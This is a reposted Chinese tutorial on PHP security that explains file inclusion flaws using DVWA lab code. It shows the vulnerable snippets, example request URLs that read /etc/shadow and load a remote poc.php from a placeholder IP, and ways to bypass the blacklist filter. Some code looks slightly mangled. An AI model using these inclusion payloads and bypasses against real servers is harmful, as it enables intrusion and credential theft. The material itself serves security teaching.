加入收藏 | 设为首页 | 会员中心 | 我要投稿 威海站长网 (https://www.0631zz.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长资讯 > 评论 > 正文

浅谈PHP安全规范

发布时间:2018-10-15 10:42:58 所属栏目:评论 来源:littlepotato
导读:【新品产上线啦】51CTO播客,随时随地,碎片化学习 一、前言 php因天生支持web应用的开发,以其简单易学,开发效率高而备受喜爱。使其占据了大片的市

涉及到的函数如下:

  • include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行;
  • include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
  • require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行;
  • require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含光从字面意思来看是可以通过漏洞利用泄露一些本地敏感文件,但是益于以上几个函数在包含文件的时候是默认把文件当成代码来对待,如果出现可执行的php片段就会执行这一性质,文件包含漏洞一般是可以进行任意代码执行的,只要我们能够让服务器包含我们可控的代码段。

(1) Low level

  1. <?php  
  2.  
  3. // The page we wish to display  
  4. $file = $_GET[ 'page' ];  
  5.  
  6. ?> 

没有对我们的输入做任何过滤,可以说是一点安全意识都没有。随便利用。举个栗子:

(http://localhost/dvwa/vulnerabilities/fi/page=/etc/shadow)。当然也可以在服务端写下poc.php,利用http协议实现代码执行

(http://localhost/dvwa/vulnerabilities/fi/page=http://)[ip]/poc.php。前提条件是allow_url_fopen和allow_url_include处于打开状态。

(2) Medium level

  1. <?php  
  2. // The page we wish to display  
  3. $file = $_GET[ 'page' ];  
  4.  
  5. // Input validation  
  6. $file = str_replace( array( "http://", "https://" ), "", $file );  
  7. $file = str_replace( array( "../", ".."" ), "", $file );  
  8.  
  9. ?> 

首先这个基于黑名单的过滤,压根就没有把本地绝对路径考虑到,其次可以使用…/./,htthttpp进行绕过。

(编辑:威海站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读